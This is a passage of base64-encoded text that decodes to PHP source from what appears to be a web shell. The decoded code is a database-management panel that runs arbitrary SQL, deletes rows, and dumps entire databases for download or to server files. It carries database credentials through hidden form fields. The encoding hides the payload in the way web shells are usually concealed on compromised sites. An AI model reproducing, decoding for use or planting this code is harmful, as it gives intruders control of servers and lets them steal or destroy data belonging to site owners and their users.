fYWN0ID09ICJ0YmxyZXBhaXIiKSB7JHNxbF9xdWVyeSA9ICJSRVBBSVIgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGFuYWx5emUiKSB7JHNxbF9xdWVyeSA9ICJBTkFMWVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJkZWxldGVyb3ciKSB7JHNxbF9xdWVyeSA9ICIiOyBpZiAoIWVtcHR5KCRib3hyb3dfYWxsKSkgeyRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYDsiO30gZWxzZSB7Zm9yZWFjaCgkYm94cm93IGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHYuIiBMSU1JVCAxO1xuIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKTt9ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfdGJsX2FjdCA9PSAiaW5zZXJ0IikNCiAgIHsNCiAgICBpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDEpDQogICAgew0KICAgICAka2V5cyA9ICIiOw0KICAgICAkYWtleXMgPSBhcnJheV9rZXlzKCRzcWxfdGJsX2luc2VydCk7DQogICAgIGZvcmVhY2ggKCRha2V5cyBhcyAkdikgeyRrZXlzIC49ICJgIi5hZGRzbGFzaGVzKCR2KS4iYCwgIjt9DQogICAgIGlmICghZW1wdHkoJGtleXMpKSB7JGtleXMgPSBzdWJzdHIoJGtleXMsMCxzdHJsZW4oJGtleXMpLTIpO30NCiAgICAgJHZhbHVlcyA9ICIiOw0KICAgICAkaSA9IDA7DQogICAgIGZvcmVhY2ggKGFycmF5X3ZhbHVlcygkc3FsX3RibF9pbnNlcnQpIGFzICR2KSB7aWYgKCRmdW5jdCA9ICRzcWxfdGJsX2luc2VydF9mdW5jdHNbJGFrZXlzWyRpXV0pIHskdmFsdWVzIC49ICRmdW5jdC4iICgiO30gJHZhbHVlcyAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyBpZiAoJGZ1bmN0KSB7JHZhbHVlcyAuPSAiKSI7fSAkdmFsdWVzIC49ICIsICI7ICRpKys7fQ0KICAgICBpZiAoIWVtcHR5KCR2YWx1ZXMpKSB7JHZhbHVlcyA9IHN1YnN0cigkdmFsdWVzLDAsc3RybGVuKCR2YWx1ZXMpLTIpO30NCiAgICAgJHNxbF9xdWVyeSA9ICJJTlNFUlQgSU5UTyBgIi4kc3FsX3RibC4iYCAoICIuJGtleXMuIiApIFZBTFVFUyAoICIuJHZhbHVlcy4iICk7IjsNCiAgICAgJHNxbF9hY3QgPSAicXVlcnkiOw0KICAgICAkc3FsX3RibF9hY3QgPSAiYnJvd3NlIjsNCiAgICB9DQogICAgZWxzZWlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMikNCiAgICB7DQogICAgICRzZXQgPSBteXNxbF9idWlsZHdoZXJlKCRzcWxfdGJsX2luc2VydCwiLCAiLCRzcWxfdGJsX2luc2VydF9mdW5jdHMpOw0KICAgICAkc3FsX3F1ZXJ5ID0gIlVQREFURSBgIi4kc3FsX3RibC4iYCBTRVQgIi4kc2V0LiIgV0hFUkUgIi4kc3FsX3RibF9pbnNlcnRfcS4iIExJTUlUIDE7IjsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgICRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQyk7DQogICAgICRzcWxfYWN0ID0gInF1ZXJ5IjsNCiAgICAgJHNxbF90YmxfYWN0ID0gImJyb3dzZSI7DQogICAgfQ0KICAgfQ0KICAgaWYgKCRzcWxfYWN0ID09ICJxdWVyeSIpDQogICB7DQogICAgJHNxbF9xdWVyeSA9IHVybGRlY29kZSgkc3FsX3F1ZXJ5KTsNCiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30NCiAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKSB7ZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCI+PHRyPjx0ZD48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0bzoiO30gZWxzZSB7ZWNobyAiU1FMLVF1ZXJ5IDoiO30gZWNobyAiPC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9XCJzcWxfcXVlcnlcIiBjb2xzPVwiMTAwXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2FjdFwiIHZhbHVlPVwicXVlcnlcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNxbF9jb25maXJtXCIgdmFsdWU9XCJZZXNcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Ijt9DQogICB9DQogICBpZiAoaW5fYXJyYXkoJHNxbF9hY3QsJGFjdHMpKQ0KICAgew0KICAgID8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgdGFibGU6PC9iPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0ibmV3dGJsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfZGIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3dGJsIiBzaXplPSIyMCI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+RHVtcCBEQjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJkdW1wIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfZGIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyAiZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPVwic3VibWl0XCIgdmFsdWU9IkR1bXAiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPjw/cGhwDQogICAgaWYgKCFlbXB0eSgkc3FsX2FjdCkpIHtlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7fQ0KICAgIGlmICgkc3FsX2FjdCA9PSAibmV3dGJsIikNCiAgICB7DQogICAgIGVjaG8gIjxiPiI7DQogICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+IjsNCiAgICB9DQogICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7fQ0KICAgfQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZHVtcCIpDQogICB7DQogICAgaWYgKGVtcHR5KCRzdWJtaXQpKQ0KICAgIHsNCiAgICAgJGRpcGxheSA9IEZBTFNFOw0KICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfYWN0XCIgdmFsdWU9XCJkdW1wXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxiPlNRTC1EdW1wOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxiPkRCOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkc3FsX2RiKS4iXCI+PGJyPjxicj4iOw0KICAgICAkdiA9IGpvaW4gKCI7IiwkZG1wdGJscyk7DQogICAgIGVjaG8gIjxiPk9ubHkgdGFibGVzIChleHBsb2RlIFwiO1wiKSZuYnNwOzxiPjxzdXA+MTwvc3VwPjwvYj46PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOw0KICAgICBpZiAoJGR1bXBfZmlsZSkgeyR0bXAgPSAkZHVtcF9maWxlO30NCiAgICAgZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30NCiAgICAgZWNobyAiPGI+RmlsZTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kdW1wX2ZpbGVcIiB2YWx1ZT1cIiIuJHRtcC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdG1wKStzdHJsZW4oJHRtcCkgJSAzMCkuIlwiPjxicj48YnI+IjsNCiAgICAgZWNobyAiPGI+RG93bmxvYWQ6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX2Rvd25sb2FkXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxiPlNhdmUgdG8gZmlsZTogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsNCiAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkR1bXBcIj48YnI+PGJyPjxiPjxzdXA+MTwvc3VwPjwvYj4gLSBhbGwsIGlmIGVtcHR5IjsNCiAgICAgZWNobyAiPC9mb3JtPiI7DQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICRkaXBsYXkgPSBUUlVFOw0KICAgICAkc2V0ID0gYXJyYXkoKTsNCiAgICAgJHNldFsic29jayJdID0gJHNxbF9zb2NrOw0KICAgICAkc2V0WyJkYiJdID0gJHNxbF9kYjsNCiAgICAgJGR1bXBfb3V0ID0gImRvd25sb2FkIjsNCiAgICAgJHNldFsicHJpbnQiXSA9IDA7DQogICAgICRzZXRbIm5sMmJyIl0gPSAwOw0KICAgICAkc2V0WyIiXSA9IDA7DQogICAgICRzZXRbImZpbGUiXSA9ICRkdW1wX2ZpbGU7DQogICAgICRzZXRbImFkZF9kcm9wIl0gPSBUUlVFOw0KICAgICAkc2V0WyJvbmx5dGFicyJdID0gYXJyYXkoKTsNCiAgICAgaWYgKCFlbXB0eSgkZG1wdGJscykpIHskc2V0WyJvbmx5dGFicyJdID0gZXhwbG9kZSgiOyIsJGRtcHRibHMpO30NCiAgICAgJHJldCA9IG15c3FsX2R1bXAoJHNldCk7DQogICAgIGlmICgkc3FsX2R1bXBfZG93bmxvYWQpDQogICAgIHsNCiAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KICAgICAgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJHJldCkpOw0KICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsNCiAgICAgIGVjaG8gJHJldDsNCiAgICAgIGV4aXQ7DQogICAgIH0NCiAgICAgZWxzZWlmICgkc3FsX2R1bXBfc2F2ZXRvZmlsZSkNCiAgICAgew0KICAgICAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsNCiAgICAgIGlmICghJGZwKSB7ZWNobyAiPGI+RHVtcCBlcnJvciEgQ2FuJ3Qgd3JpdGUgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kdW1wX2ZpbGUpLiJcIiEiO30NCiAgICAgIGVsc2UNCiAgICAgIHsNCiAgICAgICBmd3JpdGUoJGZwLCRyZXQpOw0KICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgIGVjaG8gIjxiPkR1bXBlZCEgRHVtcCBoYXMgYmVlbiB3cml0ZWQgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMocmVhbHBhdGgoJHNxbF9kdW1wX2ZpbGUpKS4iXCIgKCIudmlld19zaXplKGZpbGVzaXplKCRzcWxfZHVtcF9maWxlKSkuIik8L2I+LiI7DQogICAgICB9DQogICAgIH0NCiAgICAgZWxzZSB7ZWNobyAiPGI+RHVtcDogbm90aGluZyB0byBkbyE8L2I+Ijt9DQogICAgfQ0KICAgfQ0KICAgaWYgKCRkaXBsYXkpDQogICB7DQogICAgaWYgKCFlbXB0eSgkc3FsX3RibCkpDQogICAgew0KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfYWN0KSkgeyRzcWxfdGJsX2FjdCA9ICJicm93c2UiO30NCiAgICAgJGNvdW50ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOw0KICAgICAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsNCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsNCiAgICAgJHRibF9zdHJ1Y3RfcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgRklFTERTIEZST00gYCIuJHNxbF90YmwuImA7Iik7DQogICAgICR0Ymxfc3RydWN0X2ZpZWxkcyA9IGFycmF5KCk7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHRibF9zdHJ1Y3RfcmVzdWx0KSkgeyR0Ymxfc3RydWN0X2ZpZWxkc1tdID0gJHJvdzt9DQogICAgIGlmICgkc3FsX2xzID4gJHNxbF9sZSkgeyRzcWxfbGUgPSAkc3FsX2xzICsgJHBlcnBhZ2U7fQ0KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfcGFnZSkpIHskc3FsX3RibF9wYWdlID0gMDt9DQogICAgIGlmIChlbXB0eSgkc3FsX3RibF9scykpIHskc3FsX3RibF9scyA9IDA7fQ0KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbGUpKSB7JHNxbF90YmxfbGUgPSAzMDt9DQogICAgICRwZXJwYWdlID0gJHNxbF90YmxfbGUgLSAkc3FsX3RibF9sczsNCiAgICAgaWYgKCFpc19udW1lcmljKCRwZXJwYWdlKSkgeyRwZXJwYWdlID0gMTA7fQ0KICAgICAkbnVtcGFnZXMgPSAkY291bnRfcm93WzBdLyRwZXJwYWdlOw0KICAgICAkZSA9IGV4cGxvZGUoIiAiLCRzcWxfb3JkZXIpOw0KICAgICBpZiAoY291bnQoJGUpID09IDIpDQogICAgIHsNCiAgICAgIGlmICgkZVswXSA9PSAiZCIpIHskYXNjX2Rlc2MgPSAiREVTQyI7fQ0KICAgICAgZWxzZSB7JGFzY19kZXNjID0gIkFTQyI7fQ0KICAgICAgJHYgPSAiT1JERVIgQlkgYCIuJGVbMV0uImAgIi4kYXNjX2Rlc2MuIiAiOw0KICAgICB9DQogICAgIGVsc2UgeyR2ID0gIiI7fQ0KICAgICAkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCAiLiR2LiJMSU1JVCAiLiRzcWxfdGJsX2xzLiIgLCAiLiRwZXJwYWdlLiIiOw0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOw0KICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGFibGUgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iICgiLm15c3FsX251bV9maWVsZHMoJHJlc3VsdCkuIiBjb2xzIGFuZCAiLiRjb3VudF9yb3dbMF0uIiByb3dzKTwvYj48L2NlbnRlcj4iOw0KICAgICBlY2hvICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCkuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmxfYWN0LnZhbHVlPSdzdHJ1Y3R1cmUnO2RvY3VtZW50LnNxbC5zdWJtaXQoKTtcIj5bJm5ic3A7PGI+U3RydWN0dXJlPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgZWNobyAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9zZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztkb2N1bWVudC5zcWwuc3FsX2RiLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX2RiKS4iJztkb2N1bWVudC5zcWwuc3FsX3RibC52YWx1ZT0nIi51cmxlbmNvZGUoJHNxbF90YmwpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsX2FjdC52YWx1ZT0nYnJvd3NlJztkb2N1bWVudC5zcWwuc3VibWl0KCk7XCI+WyZuYnNwOzxiPkJyb3dzZTwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgIGVjaG8gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1ZT0nIi51cmxlbmNvZGUoJHNxbF9kYikuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmwudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJztkb2N1bWVudC5zcWwuc3FsX2FjdC52YWx1ZT0ndGJsZHVtcCc7ZG9jdW1lbnQuc3FsLnRoaXN0YmwudmFsdWU9JzEnO2RvY3VtZW50LnNxbC5zdWJtaXQoKTtcIj5bJm5ic3A7PGI+RHVtcDwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgIGVjaG8gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkL